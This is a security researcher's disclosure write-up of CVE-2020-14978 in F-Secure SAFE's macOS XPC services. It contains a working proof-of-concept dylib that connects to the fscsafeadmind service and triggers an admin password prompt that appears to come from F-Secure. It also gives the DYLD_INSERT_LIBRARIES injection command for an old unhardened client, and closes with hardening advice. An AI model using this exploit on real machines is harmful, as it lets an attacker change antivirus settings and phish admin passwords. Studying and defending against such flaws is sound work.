F-Secure SAFE XPC service exploitation (CVE-2020-14978) Link to heading

Intro Link to heading

In this post we will look into an other case study which will show us (again) why XPC client verification is crucial in XPC security, and how added authorization checks can slightly improve (but not fix) the problem. The F-Secure SAFE XPC services installed on macOS were not sufficiently hardened, and a malicious actor had the ability to interact with them. The vulnerability was fixed in version 17.8, it allowed an attacker to query specific settings, or if authorization used, it could prompt a user for password on behalf of F-Secure and ask for permissions to change settings.

Root cause analysis Link to heading

We can find the various XPC services offered by F-Secure, by searching for MachServices between all the LaunchDaemons. The product offeres various services.

% grep Mach -R /Library/LaunchDaemons                                                                                       
/Library/LaunchDaemons/com.f-secure.fscsafeadmind.plist:  <key>MachServices</key>
/Library/LaunchDaemons/com.f-secure.fscsafesettingsd.plist:	<key>MachServices</key>
/Library/LaunchDaemons/com.f-secure.fsvpn-upstream.production.plist:	<key>MachServices</key>
/Library/LaunchDaemons/com.f-secure.fsvpn-service-helper.production.plist:	<key>MachServices</key>
/Library/LaunchDaemons/com.f-secure.fsctelemetryd.plist:	<key>MachServices</key>
/Library/LaunchDaemons/com.f-secure.fsvpn-service.production.plist:	<key>MachServices</key>

All of them did the same verification towards the connecting client at the codesignValidForProcess function.

(char)codesignValidForProcess:(int)arg2 {
    var_B4 = arg2;
    var_140 = intrinsic_movdqa(var_140, intrinsic_punpcklqdq(zero_extend_64(@"anchor apple generic and certificate leaf[subject.OU] = \"6KALSAFZJC\""), zero_extend_64(@"anchor apple and (identifier com.apple.systempreferences or identifier com.apple.systempreferences.legacyLoader)")));
    rax = [NSArray arrayWithObjects:rdx count:0x2];
    rax = [rax retain];
    xmm0 = intrinsic_pxor(zero_extend_64(@"anchor apple and (identifier com.apple.systempreferences or identifier com.apple.systempreferences.legacyLoader)"), zero_extend_64(@"anchor apple and (identifier com.apple.systempreferences or identifier com.apple.systempreferences.legacyLoader)"));

We can see that it will check if the connecting client is digitally signed by F-Secure (via the team ID) with a certificate from Apple. This is good, however just in the case of Microsoft’s bug one key item is missing, which is the client version or the client hardening settings. Normally F-Secure macOS applications are signed with hardened runtime, which prevents someone injecting code into it, however someone might find an old one, which uses the same certificate, but has no runtime. With that being said, after digging through the Internet I found an old version available from here:


Authorization limits the scope Link to heading

The way XPC services implement authorization in F-Secure somewhat limit the vulnerability, however for being bulletproof the guideline at the end of the article should be followed, as not all commands need authorization. Here follows a brief description of why Authorization limits the exploit.

The XPC service will try to authorize the connecting client, with the right system.privilege.admin. This right looks like this:

% security authorizationdb read system.privilege.admin                                   
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
	<string>Used by AuthorizationExecuteWithPrivileges(...).
		AuthorizationExecuteWithPrivileges() is used by programs requesting
		to run a tool as root (e.g., some installers).</string>

Basically this means that we need to be either root or be in the admin group, and in that case authenticate via a prompt. Now when the XPC service asks for authorization it will ask for that on behalf of the connecting client, which doesn’t run as root (although if yes, authorization will be granted). The XPC service doesn’t have the kAuthorizationFlagInteractionAllowed so if the connecting client didn’t ask for an authorization, it will fail, which we can see in the logs:

info	14:57:42.800020+0100	authd	Process /usr/local/f-secure/bin/fscsafeadmind.xpc (PID 300) evaluates 1 rights with flags 00000002 (engine 82): (
debug	14:57:42.800041+0100	authd	engine 82: user not used password
debug	14:57:42.800060+0100	authd	engine 82: checking if rule system.privilege.admin contains password-only item
debug	14:57:42.801121+0100	authd	engine 82: _preevaluate_rule system.privilege.admin
debug	14:57:42.801198+0100	authd	engine 82: evaluate right system.privilege.admin
debug	14:57:42.801316+0100	authd	engine 82: using rule system.privilege.admin
error	14:57:42.801378+0100	authd	Fatal: interaction not allowed (kAuthorizationFlagInteractionAllowed not set) (engine 82)
debug	14:57:42.801397+0100	authd	Failed to authorize right 'system.privilege.admin' by client '/usr/local/f-secure/bin/fscsafeadmind.xpc' [300] for authorization created by '/Users/csaby/Desktop/F-Secure Mac Protection.app' [1180] (2,0) (-60007) (engine 82)
debug	14:57:42.801444+0100	authd	engine 82: authorize result: -60007
error	14:57:42.801471+0100	authd	copy_rights: authorization failed

The related code part in F-Secure is (decompiled with Hopper):

else {
        r12 = 0x2;
        r14 = "system.privilege.admin";
var_38 = 0x1;
rbx = 0x0;
NSLog(@"Authorizing for right name %s", r14);
rax = AuthorizationCopyRights(var_28, &var_38, 0x0, r12, 0x0);

This means that during an exploitation we will need to do the authorization at the client, which will generate a prompt. However that prompt will be seen as coming from F-Secure cause that is the process we are injecting into.

Although it might raise the user’s suspicion, but as it comes from F-Secure, it’s less obvious that this is a malicious action.

Exploitation - POC Link to heading

I picked the com.f-secure.fscsafeadmind service to connect to and develop a POC. It implements the fscsafeadmindProtocol protocol, and we can use that interface to talk to the service.

We can use class-dump to dump the available classes, interfaces, etc… for the binary. From that the protocol we can use:

@protocol fscsafeadmindProtocol
- (void)getScreenSaverPasswordState:(void (^)(BOOL))arg1;
- (void)isKextLoaded:(NSString *)arg1 callback:(void (^)(BOOL))arg2;
- (void)isServiceRunning:(NSString *)arg1 callback:(void (^)(BOOL))arg2;
- (void)unsubscribeEndpoint:(NSXPCListenerEndpoint *)arg1 fromProtocol:(NSString *)arg2;
- (void)subscribeToChangesWithProtocol:(NSString *)arg1 andEndpoint:(NSXPCListenerEndpoint *)arg2;
- (void)setUninstallationProtectionEnabled:(BOOL)arg1;
- (void)setScanningExclusions:(NSArray *)arg1;
- (void)getXFenceDisabledInSettings:(void (^)(BOOL))arg1;
- (void)disableScheduledScanning;
- (void)enableScheduledScanning:(id <NSSecureCoding>)arg1;
- (void)setXfenceEnabledNoAuth:(BOOL)arg1;
- (void)setFRSEnabledNoAuth:(BOOL)arg1;
- (void)oasIsTemporarilyDisabled:(void (^)(BOOL))arg1;
- (void)getOASState:(void (^)(long long))arg1;
- (void)setOASEnabledNoAuth:(BOOL)arg1;
- (void)getIsolationState:(void (^)(BOOL))arg1;
- (void)setFirewallBlock:(BOOL)arg1;
- (void)setFirewallEnabledNoAuth:(BOOL)arg1;
- (void)getFirewallState:(void (^)(long long))arg1;
- (void)getSignupDataWithCallback:(void (^)(NSError *, NSString *, NSString *))arg1;
- (void)setTimeLimits:(id <NSSecureCoding>)arg1 user:(unsigned int)arg2 callback:(void (^)(BOOL))arg3;
- (void)disableWebBlockingForUserWithID:(unsigned int)arg1 callback:(void (^)(BOOL))arg2;
- (void)setFirewallEnabled:(BOOL)arg1 authorization:(NSData *)arg2 callback:(void (^)(BOOL))arg3;
- (void)getXfenceNonAdminCanCreateRulesWithCallback:(void (^)(BOOL))arg1;
- (void)setXfenceNonAdminCanCreateRules:(BOOL)arg1 authorization:(NSData *)arg2 callback:(void (^)(BOOL))arg3;
- (void)getXFENCEFilterStatusWithCallback:(void (^)(BOOL))arg1;
- (void)setXfenceEnabled:(BOOL)arg1 authorization:(NSData *)arg2 callback:(void (^)(BOOL))arg3;
- (void)setSubscription:(BOOL)arg1 key:(NSString *)arg2 authorization:(NSData *)arg3 callback:(void (^)(long long))arg4;
- (void)setFRSEnabled:(BOOL)arg1 authorization:(NSData *)arg2 callback:(void (^)(BOOL))arg3;
- (void)setOASEnabled:(BOOL)arg1 resumeTime:(double)arg2 authorization:(NSData *)arg3 callback:(void (^)(BOOL))arg4;

The functions that end with NoAuth are not allowed by default, and that will be denied. We have the rest where we either need or don’t need authorization. In this case the functions that don’t require are related to reading settings.

Authorization can be implement as follows. We setup an empty authorization and then we add the right system.privilege.admin with the flag kAuthorizationFlagInteractionAllowed to allow for user authentication. This is what will be popup as F-Secure as the screenshot above shows, as we inject into an old version of this app. Authorization will be granted if the user is in the admin group and enters his/her password.

     NSData                      *authorization;
     OSStatus                    err;
     AuthorizationExternalForm   extForm;
     AuthorizationRef            authref;
     err = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authref);
     const char* str = CFStringGetCStringPtr(SecCopyErrorMessageString(err, nil), kCFStringEncodingMacRoman);
     printf("OSStatus: %s\n",str);
     if (err == errAuthorizationSuccess)
		AuthorizationItem   oneRight = { NULL, 0, NULL, 0 };  
		AuthorizationRights rights = { 1, &oneRight };  
		oneRight.name = "system.privilege.admin";  
		err = AuthorizationCopyRights(authref, &rights, NULL, kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed, NULL);  
         err = AuthorizationMakeExternalForm(authref, &extForm);
         str = CFStringGetCStringPtr(SecCopyErrorMessageString(err, nil), kCFStringEncodingMacRoman);
         printf("OSStatus: %s\n",str);
     if (err == errAuthorizationSuccess)
         authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
         str = CFStringGetCStringPtr(SecCopyErrorMessageString(err, nil), kCFStringEncodingMacRoman);
         printf("OSStatus: %s\n",str);

Then we can connect to the XPC service easily:

NSString*  _serviceName = XPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(fscsafeadmindProtocol)]];
[_agentConnection resume];

id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
    NSLog(@"Connection Failure");
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", _agentConnection);
        //get FW state
[obj getFirewallState:^(long long b){
    NSLog(@"Response: %llx",b);
       // set frs state
[obj setFRSEnabled:true authorization:authorization callback:^(BOOL b){
    if(b) {NSLog(@"Response: frs yes");} else {NSLog(@"Response: frs no");}

This example will read the firewall state and try to set FRS, which will require authorization.

This has to be a dylib, as we need to inject it to the old F-Secure app.

gcc -dynamiclib -framework Foundation -framework Security fsexp.m -o fsexp.dylib

Then run with DYLD_INSERT_LIBRARIES injection:

DYLD_INSERT_LIBRARIES=Desktop/fsexp.dylib ./Desktop/F-Secure\ Mac\ Protection.app/Contents/MacOS/F-Secure\ Mac\ Protection

The old client doesn’t have hardened runtime but has the same team ID:

% codesign -dv F-Secure/F-Secure\ Mac\ Protection.app/Contents/MacOS/F-Secure\ Mac\ Protection
Executable=/Users/csaby/Downloads/F-Secure/F-Secure Mac Protection.app/Contents/MacOS/F-Secure Mac Protection
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=12662 flags=0x0(none) hashes=388+5 location=embedded
Signature size=8965
Timestamp=2018. Nov 29. 8:05:34
Info.plist entries=24
Sealed Resources version=2 rules=13 files=513
Internal requirements count=1 size=184

Secure coding best practice Link to heading

As a closure, I would like to repeat (from my earlier post) what is the way of making an XPC connection secure.

  1. The client process verification in the shouldAcceptNewConnection call should verify the the following:

a. The connecting process is signed by Apple b. The connecting process is signed by your team ID c. The connecting process is identified by your bundle ID d. The connecting process has a minimum software version, where the fix has been implemented or it’s hardened against injection attacks.

For identifying the client at first place, the audit_token should be used instead of the PID, as the second is vulnerable to PID reuse attacks.

  1. Beyond that the client which is allowed to connect has to be compiled with hardened runtime or library validation, without possessing the following entitlements:

as these entitlements would allow another process to inject code into the app, and thus allowing it to talk to the helper tool.

  1. Additionally the connecting client has to be identified by the audit token, and not by PID (process ID).

Conclusion Link to heading

We saw again in this post why it’s extremely important to properly verify connecting clients, and we also saw how we can somewhat make it still a little bit more secure with added authorization.